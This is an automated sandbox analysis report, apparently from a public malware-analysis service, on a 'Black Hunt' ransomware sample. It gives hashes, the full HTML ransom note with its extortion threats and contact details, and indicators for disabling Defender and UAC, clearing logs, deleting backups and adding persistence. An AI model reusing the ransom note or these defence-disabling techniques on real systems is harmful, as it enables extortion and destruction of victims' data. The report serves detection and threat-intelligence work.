fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 01:33

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General

Target

fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Size

707KB
MD5

715e1ab3682b084f5e9b12a9c8452757
SHA1

9f27ad7ef3a4de1afcc73c6dda57bd35c31c6a3e
SHA256

fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6
SHA512

29f99ec0c6569581151df5377e8f0c8721df0c7ba92ce490c3adbefb94c3c3168a1a932c6ee8a8bf31b617e07a05bf7119f5b1c352c1cfe593125edeb75f11f2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R80vnh:6uaTmkZJ+naie5OTamgEoKxLWkKh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 6xzWiKPO0aPQN6wQ </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
944	fsutil.exe
3564	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1072	wevtutil.exe
2732	wevtutil.exe
3264	wevtutil.exe
3360	wevtutil.exe
312	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2252	bcdedit.exe
2756	bcdedit.exe
3128	bcdedit.exe
1340	bcdedit.exe

Renames multiple (2861) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2592	wbadmin.exe
3632	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3520	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\G:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\J:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\I:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\H:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\K:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\X:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\N:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Y:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Q:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\P:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\V:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\B:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\T:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\S:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Z:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\W:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\R:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\A:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\L:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_SelectionSubpicture.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Miquelon	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\currency.data	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvm.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Honolulu	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\rtstreamsink.ax	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.events_3.0.0.draft20060413_v201105210656.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\psfont.properties.ja	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Vancouver	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Easter	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
